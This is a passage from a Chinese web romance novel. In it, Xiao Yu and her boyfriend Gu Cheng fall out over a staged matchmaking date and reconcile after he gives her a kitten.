“……稳重沉稳。这一对比,确实明显。”
“……可惜心里有了人,对乖宝真没什么心思……将来……他这样的……”
“……心思多……太单纯,容易受委屈……”
院子里,父母二人喝着茶轻声聊天,肖瑜再过去的时候,听到的仅是随风而来的只字片语。
她刚在藤椅上坐下来,肖帅也抱着车模来到院子,兴奋地跟肖远舟说道,“这顾程可以啊,他自己做的!爸,给你玩一下。”
方才吃完午饭送走了顾程他们,肖帅就带着他送来的礼物上了楼。没想到捯饬这半天下来,拿过来的不是摆在墙上的那种收藏品,而是一个可以遥控操作的纯手工MONSTERTRUCK。
电满油满的小蓝车,在肖远舟摁下遥控开关后,滋溜一下冲出去老远,直接撞到玫瑰藤上翻了车,轰轰的马达声响了几下,仰面朝天直冒烟。他又拨弄了另外几个摇杆,那小蓝车竟然原地转了几个圈再度蹦起来四轮着地,横冲直撞地继续飞驰而去。
肖远舟哈哈大笑着来了兴致,招呼起肖帅在地上摆了一些障碍物,父子二人跟小孩子似的竞相把玩起来。
穆青华瞅着童心未泯的爷俩,突然想起什么来,起身喊过陈嫂交代两句,这才又坐下搂了肖瑜,笑道,“你们这个顾总实在客气。其实大家心知肚明,今儿就是借个由头跟你爸私人见个面,可礼物还是人人都给准备了,还十分用心。哦对了,还有个八音盒,北北说是你落在办公室的,顺便也给拿回来了。”
肖瑜听得心里酸酸甜甜,见陈嫂拿了个精巧的小盒子过来,她接过来打开一开,却又下意识伸手摸了摸颈上的小鱼吊坠。
“你看,我就说他真的很用心,连你喜欢佩奇都了解,一定是事先问过北北了。”穆青华拿指尖挑出那条精细的链子,细小粉钻打造的小猪佩奇吊坠,在日光下迸射出耀眼的光彩,精致可爱又不会显得太过贵重惹眼,的确选得十分走心。
肖瑜越发觉得心里的滋味有些复杂。她从穆青华手里接过链子,撑在指尖看了看,又小心地放回盒子里盖上,有点好奇地问道,“他给你和爸爸送了什么?”
“血燕和茶叶。”穆青华瞥了眼她脖子上的金色小鱼,心里暗叹一声,笑道,“分寸拿捏得很好,真就像是小辈上门探望长辈的样子,没有什么花里胡哨的礼数,谈吐得体有风度,性子也挺稳的。可惜了……”
她这下是真的叹了一口气,拉起肖瑜的手握在掌心,“乖宝啊,小简模样是不错,可我跟你爸商量了一下,觉得性格上可能不太适合你,容易激动,不够稳重。你说呢?”
肖瑜愣了一下,想起待会儿还有这么大的误会得解释,脸上泛起几分忐忑,“其实……还好吧……”
她的神色看进穆青华眼里,却有那么点不敢说真心话的样子,穆青华想了想,还是说道,“或许还是你接触的男孩子太少了。这样吧,待会儿我给小简的妈妈回个话,你们俩先做朋友,接下来几天妈妈陪你再多见几个?”
“不要了。”肖瑜一听,头摇得像个拨浪鼓,“妈妈,不用再见了,我,我觉得,我觉得简承贤就挺好的。他很活泼,长得也顺眼,我都答应人家了,再反悔不合适。让我们先处一段看看吧?”
简承贤不一惊一乍或者刻意扭捏的时候,笑起来很灿烂,嘴角的弧度痞痞的,五官也十分利落干净,乍一看多少有点姜昊的影子。其实这也是穆青华当初第一眼见到他,就很想介绍给闺女认识的原因。
可今儿这一顿饭下来,不管谈吐还是气场,礼数还是举止,有了顾程在旁对比,简承贤便完全不够看,显得幼稚又冲动。可惜人顾程全程对自家宝贝都没个正眼,怎么看对她都没有男女之间的好感,想必真的已是心有所属,传言不虚。
穆青华又叹了一口气,很有些惋惜地点了下头,扯起一丝笑,“爸妈会尊重你的意思,不过乖宝啊,交往的时候要把握好分寸。女孩子,一定要保护好自己,不到谈婚论嫁的时候,不要轻易就随了对方的意。真要是一时冲动了,也得做好措施,不可以未婚先孕,免得万一不成,会很麻烦。知道吗?”
“妈妈……”肖瑜压根没料到妈妈会这么突然地提点自己,一张脸涨得通红,攥住手上的盒子羞得不敢抬头,“我,我知道了。”
“没什么不好意思的,你也不是小女孩了。”穆青华看一眼还在那边斗车技的父子两个,把肖瑜拉进怀里搂着,语重心长地交代道,“小简家里我们是知根知底的,但这孩子本身什么脾性,还是得靠你自己慢慢去了解。我瞧着他有点冲动,就怕万一起了心思,你不知道该怎么办。乖宝,爸妈不希望你受一丁点儿委屈,但你长大了,我们也不可能什么事都能插手去管,很多事,还要靠你自己去把握。”
“嗯,我知道的。”肖
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瑜窝在妈妈怀里,有点羞赧地点了点头,转了话题,“妈妈,你待会儿还要跟小凤阿姨她们去喝下午茶吗?”
“她们知道你周末回家,原本说想见见的,我怕你累,就给拒了,说在家陪你。”穆青华也看出这话说得深了,闺女有些不好意思,笑道,“不过那会儿还没想着把你多留几天,要不我现在跟她们说一声,待会儿你陪妈妈一起?”
“好啊。”肖瑜犹豫了一下,又问道,“那我明天……顾总有跟爸爸说过,要我什么时候回去吗?”
“他们两个一见如故,这都是小事。”穆青华拍拍她的手,笑道,“你爸说了,你想什么时候回就什么时候回,顾程那边都没问题。不过我觉着,你还是在家多住几天,一来妈妈的确舍不得你,二来吧……”她有点无奈地看了眼手握遥控器、童心未泯的肖远舟,悄声又笑,“你要是按时回去了,你爸跟顾程之间的小博弈,可不就显得有点落了下风么。”
“嗯……好。”
*
临出门前,肖瑜趁着上楼换衣服的空档,先发了微信给燕北北:【你跟顾总说了吗?】
按时间算,他们已经应该快到泽城了,保姆车上是最好的解释机会。
果然燕北北很快回了过来:【说了。他说,知道了。】
肖瑜深深吸了一口气,忐忑地跟顾程发信息过去:【你别生气了好吗?我跟阿K真的是假相亲,他知道我有男朋友。因为家里还不知道我跟你的事,所以才会安排我去见人。事前我并不知道,回家的时候他就直接在车上坐着了,他也很不情愿的……但是我以后不会再见别人的。】
顾程没回她。
肖瑜化完了淡妆,换好了裙子,甚至连跟妈妈一起去到了太太们的下午茶聚会上,都没有收到他的任何回复。
*
今天的下午茶,是在舟城地产巨头郑太太家。
午后阳光正好,满园月季娇艳怒放,已经有了暖意的风,时不时撩起蕾丝桌布,浪漫优雅,连周遭的空气都溢满浅香。
见到跟穆青华并肩而来的肖瑜,几个正轻笑着饮茶的太太们都是眼前一亮,有两个家有适龄儿子的,更是亲热地拉着她嘘寒问暖,要不是穆青华笑着说起她刚跟教育局长家的小公子处上,那架势,只怕当场就要打电话让儿子过来相亲。
太太们的话题,除了小辈们的情感和事业,就是豪门权贵间其实已经不算新闻的八卦,还有各类珠宝名品。
肖瑜在边陪着穆青华,偶尔起身给阿姨们添添茶,多数时间,都是乖巧地支腮看着她们聊,不插嘴,也没有无聊不耐的神色。
终于手机响起来,肖瑜一看是燕北北,抱歉地跟妈妈知会一声,连忙走去一边接起了电话,“北北,你到家了?”
“嗯。妈呀,我都快被顾总的低气压碾得喘不过气了。”燕北北还有点气喘吁吁,应该是一路跑上楼就给她打来了电话,“我觉得我解释得够清楚了,可他还是冷着个脸,也不知道听进去了没有。”
肖瑜低下头,有点惭愧地说道,“不怪他。我们是男女朋友的关系,就算是假男朋友,也应该提前跟他说一声的。”
“是这个理。”燕北北道,“好好哄哄吧。顾菲也帮着劝了,不过估计没什么用,因为刚才我听他在车上打电话,交代人把AZ游戏的投资给暂停了。”
“啊?”肖瑜一下就慌了神,想起无辜的简承贤,眉心挤成了一团,“那菲菲怎么说?那可是她心上人在的公司。”
“嘁,菲菲才一肚子坏水呢。”燕北北很无奈地说道,“一听他哥要把投资暂停了,把她高兴的,还求着顾总千万要坚持到底,他们公司那个叫阿J的来求她之前,就算顾总不生气了,也得压着不能松口。”
55. 第 55 章
第五十五章
“……”肖瑜听得头都大了,挂了电话好半天,都还一筹莫展。
她又翻开微信,顾程仍然一个字没回。
她有点不知所措地看着那个对话框,打了几个字又放弃,又打几个字,又删除,如此来来回回数遍,最终只留下最简单的信息:【对不起。你别生气了,好吗?】
顾程还是没回她,而且是,已读不回。
肖瑜等了十分钟,提口气,给他打电话。
不接。
随后的语音请求,视频请求,统统响到铃声结束,不拒绝,也不接受。
断崖式断联。就像曾经那个人一样,一生气就断联玩失踪,到最后,真的就再也联系不上了。
暖暖的太阳晒在身上,肖瑜却越来越觉得心寒。
她低头看着静悄悄的对话框,眼睛里微微漾起雾水,咬唇又打下几行字:【我不喜欢没有交代就突然断联。我们已经分手了是吗?如果是的话,请你跟我回一句明白的‘是’,我以后就不会再联系你了。】
如石沉大海,还是没有任何回应。
*
接下来这几天,肖瑜大门不出,二门不迈。白日里在家跟妈妈又学了几样烘焙,还跟陈嫂学了些简单的菜式。晚上又有了大把的时间更文,太太们聚会上讲的那些绯闻八卦,也被她二次加工后,变成了更加狗血的小说情节。
在家的小日子很平静,很温馨,尽管肖瑜情绪不太高,也已不知不觉过去了三四天。她没有再跟顾程联系过,顾程也依然没联系过她。只存续了几天的恋爱体验,莫名其妙地开始,悄无声息地终止。
期间燕北北和顾菲她们也跟她在群里聊过天,有提到周六修罗场般的那顿饭,还有近几日来,阿J确实联系过顾菲让她帮忙求情的事。
顾菲是解了气了,不仅解了气,好像还跟阿J之间又发生了些什么,周三晚上居然给肖瑜发私信,要她早点回泽城,哄哄她哥哥,赶紧让下边的人把投资推动一下。
其实简承贤也打过电话给她,懊恼不已却又无可奈何。他周一上班,一大早就被晴天霹雳给击中,内里详情又不方便跟人讲。市场部的同事去找蓝枫协调,那边倒也不是完全不再给机会,指名道姓要他作陪,连续几晚他都被灌得烂醉,却连顾程的影子都没见到过,更别提能当面把话解释清楚了。
这要是别的什么事儿,他爸跟泽城的人打打招呼也能说上话,可问题老爷子巴不得他们的游戏公司倒闭,赶早让他回老家,是以这嘴他压根没法张。
总之就是,冤枉憋屈恨。
*
周四一大早,手机上又蹦出燕北北发来的微信:【明天的体检你来不来啊?小鱼儿,你不会真打算彻底不回来了吧?】
周一早上,肖瑜也接到过公司群里的通知,本周五实习生全面体检,是单位提供的福利。只是那时她有点心灰意冷,也没想到就算分了手,顾程也还是揪着简承贤不放,这不是吃醋,更像是他觉得自己被绿了的报复。
无论如何,解铃还须系铃人,况且她也没打算真就在家里一直待到毕业。跟父母在家的小日子虽然惬意,但时间久了,多少还是觉得有些精神上的寂寞。满屋子的小手工,礼物,偶尔,也还是会让她心里酸酸疼疼的,找点事情做,才能不再陷入没用的回忆里。
而许是她近来在家情绪时有低落,肖远舟和穆青华听说她想回泽城后,倒没再多说什么,满眼心疼地又交代了许多生活上的细节,当日便派专车送了她回去,顺带着还开过去一辆X5,方便她在泽城出行。
*
回到公寓的时候,才下午四点多。
顾菲不在家,四处静悄悄的,也不知道是不是顾程已经把她叫回去住了。
肖瑜喊了两声没人应,便收拾好家里带来的东西,去泡热水澡。
她还没想好要用什么方式去拜托顾程。于公,她跟高高在上的顾总差了十八级不止;于私,如今似乎除了他是闺蜜的哥哥外,也没有其他关系了。
可简承贤这罪遭的,实在是让她没办法不自责,不管怎样都得再努力一下。
吹干了头发涂上护肤品,又换了身舒适的毛衫和休闲裤,肖瑜这才神清气爽地一边打电话给燕北北,一边按了电梯,“晚上我们一起吃个饭吧?我回……”
叮一声门开,极为亮眼的一对高个子情侣出现在电梯里,见到她,都显得十分意外。
肖瑜扯起嘴角,很客气地朝他们点了下头,便稳步迈进电梯转过身,摁了一楼,“我现在去找你,大门口见?嗯,好。”
二十多层的电梯,行进得很快,可她却觉得时间漫长得难熬极了。
“什么时候回来的?”身后传来男人清润的嗓音,听起来竟略有不满,“怎么没提前告诉我?”
肖瑜眼睛盯着电梯门,没声没响。
“你别误会,我只是来阿程这里拿些东西。”再出声的,是秦舒曼,带着抱歉的笑意说道,“晚上有个酒宴要一起参加,顺路而已。”
肖瑜也没自作多情地认为自己需要什么解释,依旧没搭话。
电梯门开,她握紧手机如常般走了出去,没回头,也没道别。
身后的电梯门缓缓合上,顾程看着那个硬着脖子的背影,眉骨动了动。
“没看出来,小姑娘脾气还挺大。”秦舒曼瞥他一眼,笑道,“不追上去哄哄?”
顾程扯了下唇角,答非所问地说道,“知道回来就行,跑不了。”
秦舒曼不禁又看了他一眼,电梯到了车库,她一边随他往外走,一边笑,“你是在说她,还是在说我?”
顾程顿住脚步,转眸去看她。见她只是似笑非笑地望着自己,并没有很认真的样子,他这才低笑一声道,“以后别开这种玩笑。”
“或许,我不是开玩笑呢?”秦舒曼依旧笑笑的,目不转睛望着他,“阿程,这么多年了,对我一点兴趣都没有,你自己信吗?”
*
“分手了?”
燕北北跟肖瑜刚在小馆子里坐下来,就被她的话给惊到了,“真的假的?才谈了几天啊,就因为这点误会就分了?”
“他都不给我解释的机会。”肖瑜点了点头,闷闷地说道,“其实开始就是错的,他的白月光如果早回来一天,可能我们根本就不会开始。”
“顾总那个初恋啊?”
“嗯。他俩应该是复合了,我刚才还见过他们,一起从他家出来的。”肖瑜吃了口面,有点愁眉不展,“我现在最发愁的是阿K那边。我真的不想再跟顾总说话了,一个字都不想说。可这件事因我而起,又不能什么都不做。我……”
肖瑜正说着话,手机在桌上震了一下,她拿起来一看,居然是顾程:【不是。】
莫名其妙的两个字,大概是发错了。
肖瑜看完就把手机扣回桌上,可就是突然觉得心里发堵,她干脆又把手机拿起来,直接一关,这才觉得心情舒畅了些,“北北,你跟奶味儿到底发展到哪儿啦?谈上了吗?”
小馆子热
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热闹闹的,俩人在卡座里很隐秘。燕北北四下瞅瞅,掩着嘴悄声道,“这事儿只有你知道啊。我们有了实质性突破,但不是正式谈,算暧昧吧。”
“啊?”肖瑜惊讶地瞪大了眼睛,也掩着嘴,小声问,“你们那个了?”
“那倒还没有。”燕北北有点惋惜地说道,“亲了嘴儿,味道不错。但是彼此心思都不纯,我俩最多也就是搭伴儿熬日子,排解一下寂寞。日后会不会那个,看氛围,看情况。”
“什么心思不纯?”肖瑜很不解地问道,“而且都知道心思不纯了,还要继续吗?”
“大小姐,有些人活着就已经很累了。”燕北北笑了笑,垂下眼眸拿筷子拨了拨面,淡淡说道,“他家境不好,经济负担很重,条件还没我好。我现在也算理解为什么他看到条件好又漂亮的女孩子,就会多问几句了。”
燕北北的神色有点落寞。肖瑜咬了下唇,小声问,“想跟我讲讲吗?”
“之前不知道的时候,我还以为他持帅行凶,想榜个有钱人图财。”燕北北苦笑一声道,“前段时间出差,喝多了聊深点才明白,其实就是因为他家里条件太差了,所以对象一定要找没什么经济负担的。他倒也不是图对方什么,要不然刚上大学就有富婆想包他,他都没同意。他求的,只是未来努努力后,可以让自己的小家庭,不要像原生家庭那样太吃力。而我……”
她撇了下嘴,摇摇头,“我其实跟他差不多想法,对方经济条件也不能太差,至少跟我们家差不多得小康吧,不然我宁可单着。恋爱的时候可以只图浪漫,结婚后房子孩子全都是开销,没有强大的经济基础,还不如一个人来的快活。对了……”
燕北北正说着,突然越发凑近一些,掩了嘴道,“你最近联系过孜歆吗?”
“没有。”肖瑜摇了摇头,“上次还是过年的时候,相互发了个祝福。”虽然同寝,但因为刘孜歆喜欢独来独往,一有时间就在打工,她们俩并没有跟燕北北一样亲密。
“她跟那个研究生男朋友分手了。”
“啊?”肖瑜一下子就愣住了,不可置信地皱了眉,“怎么会分手呢?他们俩感情那么好,孜歆那么辛苦,不都是为了他吗?”
“所以经济基础很重要啊。”燕北北叹了口气,“我也是从别的住校同学那儿听说的。她男朋友出国留学去了,都不知道哪儿来的钱,可突然了。以前真没看出来,居然这么渣,比赵成杰那个狗东西还渣。起码我俩在一起的时候,那货没糟蹋过我的钱。”
“那孜歆还好吗?”肖瑜看了眼被关掉的手机,不由担心地说道,“要不,我们周末去看看她吧?”
“嗯。明天联系一下,要是她周末不打工,我们就约一下。”燕北北点点头,神色间也很担忧,“她那么要强的性子,到时候还是先别提这事儿,等她愿意说了再说。”
“嗯。”
*
吃过饭回到家,顾菲还没回来,肖瑜这时才打开手机,给她发了个微信。
得知顾菲正在加班,肖瑜简直觉得自己像在做梦:【你?加班?你去工作了?!】
也就几天没回来,怎么感觉身边的变化翻天覆地。
【看不起我啊?我今天第一天上班,大家都可喜欢我了。】顾菲打字速度飞快:【你去找我哥了吗?赶紧去劝劝,快让他别掐着不给钱了,要不再过几天我该没脸继续待着了!】
肖瑜挤着眉头想了半天,这才明白过来,越发不可置信地问道:【你去AZ上班了?!顾总同意?】
56. 第 56 章
第五十六章
顾菲:【我肯老老实实上个班,他当然巴不得啊!小鱼儿你赶紧的去找我哥求情,速度。】
【我明天给我爸爸打个电话,看看他能不能帮上忙。】肖瑜想起电梯里郎才女貌的两个人,很不是滋味地撇了下嘴:【我跟顾总已经分手了。以后我不想跟他说话了。】
顾菲直接一个语音打过来,压着嗓子问道,“什么情况啊!我哥没跟我说你俩分了啊?你这不是刚回来吗?发生什么事了?”
“我之前发信息,他一直都不理我,也不接我电话。今天回来才知道,原来他跟舒曼复合了。”肖瑜垂着眼睛,不怎么想继续这个话题,“菲菲,你以后别在你哥哥面前提我,也别问,我就想安安心心地待到毕业就好了。你晚上回来吗?大概几点?”
“回,不过会晚点,你睡你的。”顾菲还是不怎么相信地说道,“你是不是误会了啊?我哥现在跟她真没什么,上次去家里吃饭,当着舒曼姐的面,他还说要带你回家见我爸妈呢。”
肖瑜叹了口气,拿手指卷着搭来胸前的发尾,酸溜溜说道,“我只是人家PLAY中的一环罢了。你晚上开车回来注意安全。”
放下电话,她又仔细想了想,越想越气,连码字都没了心情。喝完牛奶上了床,都还气得翻来覆去睡不着。
恐怕顾程带她去给秦舒曼接风的时候,就存了别的心思,想拿新女友来刺激对方。说要带自己回家见父母,恐怕也是故意当着秦舒曼的面,给人家来点危机感。然后又趁简承贤这件事,顺势跟她分手,与旧爱复合,一环又一环,衔接得完美无瑕。
渣男!
怪不得突然断联,根本不听她的解释,原来压根就没打算听。
肖瑜生气地拿被子蒙住了脸,决定以后再也不要跟这个渣男多说一句话。
*
晚上睡得早,早上也就起得早。
因为要空腹体检,肖瑜也没顾上跟顾菲见一面,匆匆就跟燕北北他们汇合去了医院。
体检安排的很是全面,所有检查做完,已经快十点。接到简承贤和顾菲前后发来的信息时,肖瑜根本还没来得及给爸爸打电话求助。一听蓝枫那边已经重新推进了资金,她明明应该感到开心,却不知为何,心里竟然钝钝地酸了一下。
挺好,以后就不用再有任何交集了。
*
午饭时,燕北北见肖瑜一副闷闷不乐的样子,便邀请她下班后一起出去玩儿,喝场失恋酒。可肖瑜想起自己酒后那副不知天高地厚的样子,犹豫了一下,还是给拒绝了。
时间一分一秒地过去,下班前接到前台电话,说有一份礼物要她下班的时候带走,肖瑜十分狐疑地收拾好东西到了一楼,立刻被那份鲜活的礼物,逗得咧开了嘴。
‘喵呜……’软乎乎的金渐层短腿小英短,蜷缩在精致如摇篮一般的猫窝里,正被前台那几个接待围观。
“真是送给我的吗?”肖瑜喜笑颜开把小猫窝接过来,还是有点不确定地问道,“真的吗?谁送的啊?”
“晶心猫舍送过来的,没留名。”接待小吴姐羡慕地看着呆萌的小猫,应道,“不过的确是给你的,天还有点冷,你快把它带回家吧,别给冻着了。”
‘喵呜……’小猫瞪着大大的眼睛看着肖瑜,把肖瑜心都给看化了。她想起情人节那份不知名的礼物,轻轻点了点头,抱起小猫窝哄道,“小可爱,现在就带你回家,乖乖的哦。”
*
屋里多了个小伙伴,肖瑜一下子就变得开心起来。
她没有照顾猫猫的经验,但是猫窝里有猫舍专门备好的猫粮和照顾手册。这只小英短已经三四个月大,打过疫苗养成过习惯,属于正好培养感情的时期。
小猫咪对新的环境很好奇,趴在窝里静悄悄四处看,偶尔低头舔舔爪子舔舔毛,发出软叽叽的一声‘喵呜’。等肖瑜蹲在一边跟它熟悉了大半天,它才小心翼翼迈着小短腿,试摸着在屋里默默探索。
“不可以进去哦。”眼见小猫咪要往沙发下钻,肖瑜连忙蹲身把它抱起来,瞅着它迷迷糊糊的大眼睛,“钻到角落里不好出来的。我们先给你取个名字好不好?”
小猫咪软叽叽地叫,“喵呜……”
“叫你团团?”肖瑜拿指尖点着它的小鼻头,爱不释手,“软软的一团,长大了也要这么可爱,好不好?”
小猫咪张开嘴要去啃她落在鼻尖的手指,肖瑜咯咯笑着正想埋汰它,乳牙刚萌全就想行凶,门铃响起,她十分疑惑地起身,抱着团团过去看猫眼。
今天周五,门外的男人,本不应这个时候出现在泽鼎,更不应该是找她的。或许是因为顾菲又跑去哪里野了,他才会找过来。
肖瑜轻手轻脚又从门前悄悄走回卧室,装作不在家。
门铃又响了几声,跟着手机响起来,还是顾程。
肖瑜一边撸猫,一边大气不敢出地盯着屏幕。她也不知道自己在怕什么,反正就是不想搭理他,可拒接电话还是让她觉得有点忐忑。
还好电话只响了一遍就停了,并没有想象中的不依不挠。
她松了口气,打算悄悄出去把猫窝也给拿进来,微信响了一下,顾程:【我知道密码。】
肖瑜愣了一下,连忙又缩回卧室,锁好门,跟他回道:【我不在家。】
【猫拿来。】
……
肖瑜扁了下嘴,不舍地看向怀里的小奶猫,微信上的内容又是打完删,删完打,终究还是没什么底气地回道:【等菲菲回来让她拿给你。】
【这是我送给女朋友的,现在就需要。】
团团在怀里‘喵呜’一声,嫩嫩的爪子挠挠头,看得肖瑜心里泛酸,眼中也升起了雾气。她垂头丧气地过去开了门,眼皮子都不想抬一下,“你等一下,我把猫窝收拾好。”
男士皮鞋踩进来,顺手带上了门。
肖瑜默默把小奶猫放回猫窝,又把刚才拿出来的养猫手册和一小袋猫粮也放回去,这才深吸一口气端起猫窝,递给已在沙发上坐下来的男人,“我还没给它吃饭,睡前要喂一次。”
她说这话时,眼睛一眨不眨看向小猫咪,眷恋不舍。嘟着嘴巴,好像受了天大的委屈。
顾程接过猫窝却没起身,伸手在小猫咪还没多少肉的脸颊上捏了捏,惹得小奶猫龇牙咧嘴要咬他,肖瑜也急地伸手要去把猫窝抢回来,他却顺手拎起猫窝放去一边,另一手直接就把她拽进了怀。
肖瑜连忙伸手去推他,可他索性把猫窝又推远一点,拿双臂把她锁在胸前,凑她耳畔问,“什么时候分的手?我怎么不知道?”
“你不听我解释,还不理我。”肖瑜一边去掰他的手,一边往外挣,“你别碰我。我不想再被你利用。”
“我怎么利用你了?”顾程原本只是箍着她的上半身,可小姑娘挣扎起来手脚并用激烈得很,他只好把两条大长腿也收回来勾住她的腿,这
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才把她整个人牢牢圈在身前,“你爸狮子大开口,我看是我被你们父女两个利用了还差不多。”
“你在利用我追回你的白月光。”肖瑜撇了下嘴,又开始乱扭,“我就是不想理你,你这个样子很渣!”
“什么白月光?”顾程蹙了下眉,想了想才道,“跟秦舒曼有什么关系?”
“无耻,卑鄙!”肖瑜被他箍得额头都有了细汗,气喘吁吁道,“你总是当着她的面显得对我好,不就是为了让人家有危机感吗?你们现在都……都复合了,干吗还缠着我?”
顾程低笑一声,慢悠悠说道,“电梯里见一面,就让你理直气壮了是不是?我没有吃回头草的爱好。你假相亲,事先不知情,可以,我理解。为什么跟他出去玩?嗯?还帮他挡酒。你挡一杯,我就让他喝回去一百杯。下次别再让我知道你又跟他出去玩,假的也不行。”
他说得慢条斯理,也没有生气的调调,可肖瑜却一下子就觉得有点理亏,声音都软了下来,“可你不理我,我不喜欢一生气就断联,我希望任何事情,我们都能好好沟通。”
“气头上,以后我注意。”顾程瞥她一眼,伸手轻轻扭过她的下巴,“今晚菲菲在家,不回来住。你一个人,怕不怕?”
“不怕……”他说这话时,眼睛里有丝戏谑,肖瑜红着脸,别过脸小声说道,“我也不是没一个人住过,而且……”
她咬了下唇,小心翼翼地歪头看着他问,“团团你会拿走吗?”
“团团?”
“嗯。”肖瑜点点头,看向不远处的猫窝,“我给它起的名字,软乎乎的一团。”
顾程顺着她的目光看过去,继而又回头看向她,低笑一声,“确实软乎乎的。送给你的,当然不会拿走。喜欢吗?”
“很喜欢,以后有它陪我,我更不怕了。”肖瑜一下就翘起了唇角,她想起身把猫猫抱过来,可动了一下才发现,自己的双腿被他一边一条勾得大开,裙尾上扬,打底裤都快露出来了,背脊也紧贴着他的胸膛,那姿势真是暧昧地都有点放荡了。
这个认知让她一下子羞红了脸,使劲儿试图并紧双腿,却尽是无用功,反而因为用力,连呼吸都变得急促起来。
顾程原本只是看着她笑,可顺着她的视线看向两人纠缠中,那两条大张的美腿,他咽了下嗓子,再度把她的下巴扭过来,轻轻在唇上碰了一下,悄声道,“我先上去洗个澡,待会儿下来陪你。”
“不……不用。”肖瑜觉得身上烫得发烧,低眉顺眼地嘟囔,“我待会儿还要写小说,我很忙的,我不用你陪。”
“巧了,其实我也挺忙的。”顾程目不转睛盯着她,唇角的笑意有点意味深长,“可总要找时间约会,不然还怎么培养感情。说吧,去我那儿,还是在你这儿?”
肖瑜吞了下口水,还是哼哼唧唧地找借口,“我还没吃饭,我也得洗澡,我还要护肤,我……”
未尽的言语,被顾程直接用嘴给堵了回去。只是这回他并没有像上次醉酒时那样攻势凶猛,握在腰上的手也很是安分,只有覆在她脸颊的大手些微使了力,让她软软的唇无处可躲。
肖瑜没有任何防备,被这个温柔缠绵的吻亲得七荤八素,整个人软得像滩水似的,腰都酥了。
“喵呜……”
小奶猫柔弱的叫声,打断了旁若无人的蜜吻。
顾程跟她额头相抵,喃声笑道,“去我家吧,我们试试婚后的夜生活?”
57. 第 57 章
第五十七章
“去我家吧,我们试试婚后的夜生活?”
肖瑜浑身一个机灵,话都说不利索了,“不,我,我妈妈说,不可以婚前……那个……不……我还没做好,准备……”
“不什么不?”顾程拿手指在她唇上揉了揉,无奈地笑道,“结了婚也不是随时随地都在上/床,就不能正常约会聊天吗?想什么呢?”
肖瑜被怼得满脸通红,好半天,才垂着眼睛小声说道,“那我换换衣服再上去。”
“嗯。”顾程终于松手放了她,勾起一边的猫窝,“电脑也带上,平时在家做什么,在我那儿就做什么。我有猫质,别耍心眼。”
“……”
*
换换衣服,收拾收拾电脑,期间还有燕北北打来的电话,再次邀请肖瑜去夜店发泄情绪,得知她跟顾总居然瞬间和好,燕北北无语极了,“姐妹,你就不能再拿会儿乔吗?也太好哄了!”
“可是……误会都解释清楚了啊。”肖瑜咬着嘴巴,小声说道,“我待会儿还要去他那里约会……”
“哎呦~”燕北北的语调一下子就暧昧起来,似乎专门走到了安静的角落,悄声道,“做好安全措施啊,可别不小心中招了。”
“是约会,不是那个……”肖瑜不好意思地说道,“就是正常的约会。”
“正常的约会就是那个啊!”燕北北不怀好意地笑道,“孤男寡女,干柴烈火,在家里约会除了那个能干嘛?小鱼儿,顾总身材那么好,你就没一点想法?逮着机会好好验证一下,别万一真的侧芽发育不良,将来真结婚了可就是守活寡了。”
“去你的。”肖瑜被她说的满脸通红,嘟囔着锁了门去按电梯,“就是跟你处久了,一提到约会我就想歪。北北,你跟孜歆联系了吗?”
“她说周末没空,所以约了周一下班见,到时候她过来找我们。”燕北北叹口气,“电话里听着声音还挺轻快的,不像是很难过的样子,就怕心里存事儿。”
“那我们到时候一起吃晚饭吧。”肖瑜到了顾程的家门前,吞了吞口水,轻咳一声,“我……我要去约会了。”
燕北北:“加油!”
*
顾程刚才就把家里的密码发了过来,可肖瑜还是有点不太好意思,先摁了几下门铃。
老半天没人开门,她才输入密码,轻轻推开了门。
入眼一双崭新的小猪佩奇棉拖,粉嘟嘟,可可爱爱。她弯了唇角换上棉拖,被屋子里弥漫的饭香味勾得肚子里咕咕直叫。
“喵呜……”
团团在沙发旁的小食盘大快朵颐,见到她走过来,竖着毛很是防备。
肖瑜没去惹它,绕开几步把电脑放去沙发,寻着饭香来到餐厅,桌上摆好的海鲜炒乌冬,还散发着刚出锅的袅袅热气,餐具下压了一张小纸条:【你的。我吃过了。】
她拿起筷子尝了一口,可口的味道一下子就俘虏了她的胃,味蕾上的满足更是一瞬间击中了心尖尖,让她第一次深刻体会到了拥有男朋友的快乐,也对接下来所谓的婚后夜生活有了很大的期待。
顾程说得对。除了那个,恋人和夫妻之间,本就该是细水长流的相伴。就比如她的爸爸妈妈,夜来一起看看电视聊聊天,偶尔还会相互捏捏肩膀揉揉腿。许是她网络小说看得多了,才总是会把恋人之间的相处想得带了颜色,让人怪羞耻的。
客厅里传来一些细微的声响,肖瑜也干完了一盘炒面。也不知道是不是刚吃完饭的缘故,厨房里走出来,总觉得屋里的风有点热烘烘的。
顾程正在沙发上坐着,一手执杯,一手拿着醒酒器,宝蓝色的丝质睡衣前,暗红色的液体缓缓流向杯底,浅浅荡起旋涡。
他抬眼看向穿了抓绒睡衣的肖瑜,抿唇笑道,“不热吗?恒温二十六度。”
“……”怪不得额角都有了汗。肖瑜点点头,看一眼他轻薄睡衣下,难掩宽肩长腿的好身材,赶紧挪开视线,“有一点儿,还好。”
“你也先去洗个澡?”顾程放下红酒起身向她走来,肖瑜也是这会儿才发现,原来他的身侧放了套同色系的睡衣,此时正被他拿在手上,递向自己,“不然就算换了睡衣也不舒服。”
肖瑜接过睡衣,欲言又止地瞅着他。
“只是想让你换件舒服的睡衣,别多想。”顾程摸摸她的头,笑得很温柔,“要慢慢习惯,以后日子还很长。”
他这话没毛病,可肖瑜就是控制不住地会想歪,攥紧了手里的睡衣低下头,不好意思地说道,“我……那我回家洗完换好衣服再过来。”
“你在怕什么?”顾程抬手捏起她的下巴,似笑非笑地低头看着她,“我说过结婚前不会,就不会。”
肖瑜的脸红得像煮熟的虾,垂着眼睛不敢看他,嗫嚅道,“我不是……我,我洗澡很费时间,还要抹香香,要很久的,我……”
“这也是我们需要相互适应的过程。”顾程执起她的手,一边把她往卧室带,一边温声道,“之前有个朋友,因为老婆每天晚上在家洗澡做护理几乎要搞到大半夜,后来过不下去离婚了。所以我们结婚前,最好把所有的步骤都先走一遍,这样才知道合不合适。”
“……”肖瑜半信半疑地歪头看着他,“真的吗?因为护肤时间久,闹离婚?”
“嗯。”顾程一本正经地点点头,推开浴室门,“洗护用品提前都让菲菲给你准备好了。我去忙我的,你也按你的节奏来。”
*
感觉怪怪的,心跳快快的。
